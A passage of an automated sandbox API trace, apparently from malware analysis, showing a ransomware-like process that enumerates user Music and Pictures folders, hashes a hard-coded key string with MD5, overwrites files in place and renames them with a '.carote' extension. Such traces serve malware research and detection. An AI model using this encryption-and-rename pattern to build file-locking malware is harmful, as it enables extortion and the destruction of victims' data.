a50pD3\\yCnnA0r.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\ycnna0r.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\yCnnA0r.wav.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\ycnna0r.wav.carote")) returned 1 [0113.122] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.122] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.123] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.123] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aeb32d0, ftCreationTime.dwHighDateTime=0x1d4ced7, ftLastAccessTime.dwLowDateTime=0x7c4f3310, ftLastAccessTime.dwHighDateTime=0x1d4ced8, ftLastWriteTime.dwLowDateTime=0x7c4f3310, ftLastWriteTime.dwHighDateTime=0x1d4ced8, nFileSizeHigh=0x0, nFileSizeLow=0x2fd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZjvCqhLuqlFvmhkkfQQ.mp3", cAlternateFileName="ZJVCQH~1.MP3")) returned 1 [0113.123] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.123] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0113.123] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.123] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\ZjvCqhLuqlFvmhkkfQQ.mp3") returned=".mp3" [0113.123] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\ZjvCqhLuqlFvmhkkfQQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\zjvcqhluqlfvmhkkfqq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.124] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=12245) returned 1 [0113.124] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.125] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2faf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.125] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.127] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.127] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.127] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.127] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x2fd5, lpOverlapped=0x0) returned 1 [0113.128] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.128] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.128] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.128] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.128] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0113.128] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.128] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.128] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.128] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.129] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.129] GetLastError () returned 0x0 [0113.129] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.129] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0113.129] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.129] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2fe0) returned 0x7b182e0 [0113.129] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.129] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.129] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x2fd0, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x2fd0, lpOverlapped=0x0) returned 1 [0113.129] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.129] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2fd5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.129] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.129] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.129] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.129] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.129] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.129] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.129] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.129] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.129] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.130] CloseHandle (hObject=0x61c) returned 1 [0113.130] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.130] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0113.130] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.130] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\ZjvCqhLuqlFvmhkkfQQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\zjvcqhluqlfvmhkkfqq.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\ZjvCqhLuqlFvmhkkfQQ.mp3.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\zjvcqhluqlfvmhkkfqq.mp3.carote")) returned 1 [0113.131] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.131] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.132] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.132] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aeb32d0, ftCreationTime.dwHighDateTime=0x1d4ced7, ftLastAccessTime.dwLowDateTime=0x7c4f3310, ftLastAccessTime.dwHighDateTime=0x1d4ced8, ftLastWriteTime.dwLowDateTime=0x7c4f3310, ftLastWriteTime.dwHighDateTime=0x1d4ced8, nFileSizeHigh=0x0, nFileSizeLow=0x2fd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZjvCqhLuqlFvmhkkfQQ.mp3", cAlternateFileName="ZJVCQH~1.MP3")) returned 0 [0113.132] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.132] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.132] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a489c0 | out: hHeap=0x5010000) returned 1 [0113.132] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.132] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a489c0 [0113.132] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.132] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.132] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.132] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.132] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.132] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.132] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.132] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.132] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.132] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.132] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.132] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.132] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.133] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.133] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.135] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.135] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.135] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.135] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.135] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.135] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.135] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.135] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.135] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.135] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.135] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0113.135] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.135] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.135] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.135] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.135] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.135] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.135] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.135] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.135] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\") returned="rBkn83DAvewyB\\" [0113.135] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0113.135] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.135] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.135] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.135] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.135] PathFindFileNameW (pszPath="") returned="" [0113.136] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9535880, ftCreationTime.dwHighDateTime=0x1d4c9cb, ftLastAccessTime.dwLowDateTime=0xa16895b0, ftLastAccessTime.dwHighDateTime=0x1d4d266, ftLastWriteTime.dwLowDateTime=0xa16895b0, ftLastWriteTime.dwHighDateTime=0x1d4d266, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.136] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.136] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9535880, ftCreationTime.dwHighDateTime=0x1d4c9cb, ftLastAccessTime.dwLowDateTime=0xa16895b0, ftLastAccessTime.dwHighDateTime=0x1d4d266, ftLastWriteTime.dwLowDateTime=0xa16895b0, ftLastWriteTime.dwHighDateTime=0x1d4d266, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.136] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6981a90, ftCreationTime.dwHighDateTime=0x1d4ce89, ftLastAccessTime.dwLowDateTime=0x60b2a550, ftLastAccessTime.dwHighDateTime=0x1d4c718, ftLastWriteTime.dwLowDateTime=0x60b2a550, ftLastWriteTime.dwHighDateTime=0x1d4c718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BbK9PWtcKHe5E", cAlternateFileName="BBK9PW~1")) returned 1 [0113.136] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x452e60a0, ftCreationTime.dwHighDateTime=0x1d4c752, ftLastAccessTime.dwLowDateTime=0x9dcbb110, ftLastAccessTime.dwHighDateTime=0x1d4cbdd, ftLastWriteTime.dwLowDateTime=0x9dcbb110, ftLastWriteTime.dwHighDateTime=0x1d4cbdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gqtiv9s2isdbdOiFE-3Q", cAlternateFileName="GQTIV9~1")) returned 1 [0113.136] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4bbe5a0, ftCreationTime.dwHighDateTime=0x1d4d4b9, ftLastAccessTime.dwLowDateTime=0xc3110220, ftLastAccessTime.dwHighDateTime=0x1d4c7ca, ftLastWriteTime.dwLowDateTime=0xc3110220, ftLastWriteTime.dwHighDateTime=0x1d4c7ca, nFileSizeHigh=0x0, nFileSizeLow=0x5319, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="H5jt83oya.png", cAlternateFileName="H5JT83~1.PNG")) returned 1 [0113.136] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\H5jt83oya.png") returned=".png" [0113.137] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\H5jt83oya.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\h5jt83oya.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.137] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=21273) returned 1 [0113.137] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.139] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x52f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.139] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.140] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x5319, lpOverlapped=0x0) returned 1 [0113.141] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.141] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.141] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.141] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0113.142] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.142] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.142] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, 